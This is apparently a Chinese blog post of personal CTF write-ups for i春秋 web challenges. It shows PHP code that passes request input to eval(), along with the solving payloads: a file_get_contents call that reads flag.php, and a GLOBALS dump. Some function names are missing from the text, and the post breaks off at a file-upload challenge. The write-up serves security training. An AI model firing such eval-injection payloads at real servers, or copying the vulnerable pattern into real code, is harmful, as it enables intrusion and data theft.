春秋web题目解题及思路汇总(自用搜集)
(Misc-Web)爆破-2
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
题目知识点:
(path)函数,获得指定路径下的文件内容,以字符串的形式返回出来。
eval(str)函数,把括号里的字符串,当作php命令来执行。
解题思路:
这一题,把一个()函数命令赋值给$a传入()中。()函数就是把这个命令以字符串的形式返回,进入到嵌套的eval函数里面,让eval函数来执行这行命令。
http://38ca0686348c4cc698a0a4ea379ee9a208d0650073b041e3.game.ichunqiu.com/?hello=file_get_contents("flag.php")
(Misc-Web)爆破-1
分值:10分 类型:Misc Web已解答 题目: flag就在某六位变量中。
php include "flag.php"; //包含flag.php
$a = @$_REQUEST['hello']; //$a这个变量表示hello这个请求变量的值
if(!preg_match('/^\w*$/',$a )) // /w等价于"[a-zA-Z0-9],这里表示以
{ //开头与结尾的匹配方式die('ERROR');
}
eval("var_dump($$a);"); //如果匹配输出\$\$a的值
show_source(__FILE__);
?>
解题预备知识:
两个符的含义,在php语言中,变量名可以用另一个变量来表示。如下面的代码中,$a=“b”,那么
a就等于b,则输出b的值 “hello world!”
$a='b';
$b="hello world!";
eval("var_dump($$a);");
?>
函数返回值为匹配到的次数。
解题流程:
审计代码可以知道,我们可以用GET传值方式(?hello=),来给a赋值,最后会输出(我传给$a的值)。
想到上面的知识,那就之间传入,让把所有的变量都打印出来。最后,得到flag。
http://38ca0686348c4cc698a0a4ea379ee9a208d0650073b041e3.game.ichunqiu.com/?hello=GLOBALS
————————————————
版权声明:本文为CSDN博主「江judge」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:
CTF || [“百度杯”CTF比赛 九月场]
**题目内容:**想怎么传就怎么传,就是这么任性。tips:flag在flag.php中
解题预备知识:
上传文件漏洞,再上传文件时会过滤掉特殊字符。在本次题目中过滤掉了